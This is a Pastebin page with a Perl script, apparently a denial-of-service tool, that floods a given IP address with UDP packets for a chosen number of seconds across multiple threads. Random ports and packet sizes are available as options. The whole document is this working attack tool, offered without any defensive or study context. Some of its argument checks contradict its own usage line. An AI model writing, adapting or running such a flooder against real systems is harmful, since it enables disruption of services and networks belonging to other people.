Advertisement
xttpx

gott.4

Dec 7th, 2022
1,010
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.14 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2.  
  3.  use strict;
  4.  use Socket;
  5.  use threads;
  6.  
  7.  my $fail = 0;
  8.  #Usage: [IP] [port 0 for random]  [Packet size 0 for random [1-15000000]] [seconds to flood] [threads] [show each packet sent, 0 for false 1 for true]
  9.  if($ARGV[0] =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/)
  10.  {
  11.      print "[x]Valid IP Check...\n"
  12.  }
  13.  else
  14.  {
  15.      $fail = 1;
  16.      print "[!]IP Check Failed... x.x.x.x\n";  
  17.  }
  18.  if($ARGV[1] =~ /^\d+$/ && $ARGV[1] > 0 && $ARGV[1] < 15000000)
  19.  {
  20.      print "[x]Port Check...\n";
  21.  }
  22.  else
  23.  {
  24.      $fail = 1;
  25.      print "[!]Port Check Failed! 0 for random or 1-65535...\n";  
  26.  }
  27.  if($ARGV[2] =~ /^\d+$/ && $ARGV[2] > 0 && $ARGV[2] <= 15000000)
  28.  {
  29.      print "[x]Packets Size Check...\n";
  30.  }
  31.  else
  32.  {
  33.      $fail = 1;
  34.      print "[!]Packets Size Check Failed! 0 for random - 65500...\n";  
  35.  }
  36.  if($ARGV[3] =~ /^\d+$/ && $ARGV[3] > 0)
  37.  {
  38.      print "[x]Valid Seconds Check...\n"
  39.  }
  40.  else
  41.  {
  42.      $fail = 1;
  43.      print "[!]Seconds Check Failed... must be an interger and greater then 0\n";  
  44.  }
  45.  if($ARGV[4] =~ /^\d+$/ && $ARGV[4] > 0)
  46.  {
  47.      print "[x]Valid Threads Check...\n";
  48.      if($ARGV[4] > 35)
  49.      {
  50.          print "Warning! You have selected 35+ threads. This can cause problems, consider revising!\n";
  51.      }
  52.  }
  53.  else
  54.  {
  55.      $fail = 1;
  56.      print "[!]Threads Check Failed... must be an interger and greater then 0\n";  
  57.  }
  58.  if($ARGV[5] =~ /(0|1)/)
  59.  {
  60.      print "[x]Valid \"Show Each Packet\" Variable...\n";
  61.  }
  62.  else
  63.  {
  64.      $fail = 1;
  65.      print "[!]Invalid \"Show Each Packet\" variable 0 for no, 1 for yes...\n";
  66.  }
  67.  
  68.  
  69.  if($fail == 0)
  70.  {
  71.  print "Continue?[y/n]\n";
  72.  my $ans = <STDIN>;
  73.  if($ans =~ /y/i)
  74.  {
  75.      print "[UDP Flooding] $ARGV[0] " . "| PORT:" . ($ARGV[1] ? $ARGV[1] : "random")
  76.      . " PacketSize:" . ($ARGV[2] ? "$ARGV[2]-byte" : "random") . " Seconds:$ARGV[3]"
  77.      . " Threads:$ARGV[4]\n";
  78.  
  79.      use vars qw ($udp_tdn $p_s $udp_t $count $udp_td $d_c $d_cc);
  80.  
  81.      $udp_td = 0, $count = 0;
  82.  
  83.      for(; $count <= $ARGV[4]; $count += 1)
  84.      {
  85.          $udp_t = threads->create(\&udpflood, $ARGV[0], $ARGV[1], $ARGV[2], $ARGV[3], $ARGV[4]);
  86.          print "Thread:$count\n";
  87.      }
  88.  
  89.      $d_c = threads->create(\&udpdone);
  90.  
  91.      $d_cc = $d_c->join();
  92.  
  93.      for(;$d_c == 0;)
  94.      {
  95.          sleep(3);
  96.      }
  97.    
  98.  sub udpflood
  99.  {
  100.      my $ip = $_[0], my $port = $_[1] ,my $size = $_[2] ,my $time = $_[3], my $threads = $_[4];
  101.      my ($iaddr,$endtime,$psize,$pport);
  102.      $iaddr = inet_aton("$ip");
  103.      $endtime = time() + ($time ? $time : 1000000);
  104.      socket("flood", PF_INET, SOCK_DGRAM, 17);
  105.      for (;time() <= $endtime;)
  106.      {
  107.          $psize = $size ? $size : int(rand(1024-64)+64) ;
  108.          $pport = $port ? $port : int(rand(65500))+1;
  109.      send("flood", pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  110.          if($ARGV[5]==1)
  111.          {
  112.              print "Sent Packet: Size[$psize] Port[$pport]\n";
  113.          }
  114.      }
  115.        
  116.      return 0;
  117.  }
  118.  sub udpdone
  119.  {
  120.      $udp_td = $udp_t->join();
  121.      while ($udp_td == 0)
  122.      {
  123.      sleep(1);
  124.      }
  125.      print "[UDP Flooding]:Flood Done!\n";
  126.      return 0;
  127.  }
  128.  }
  129.  }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement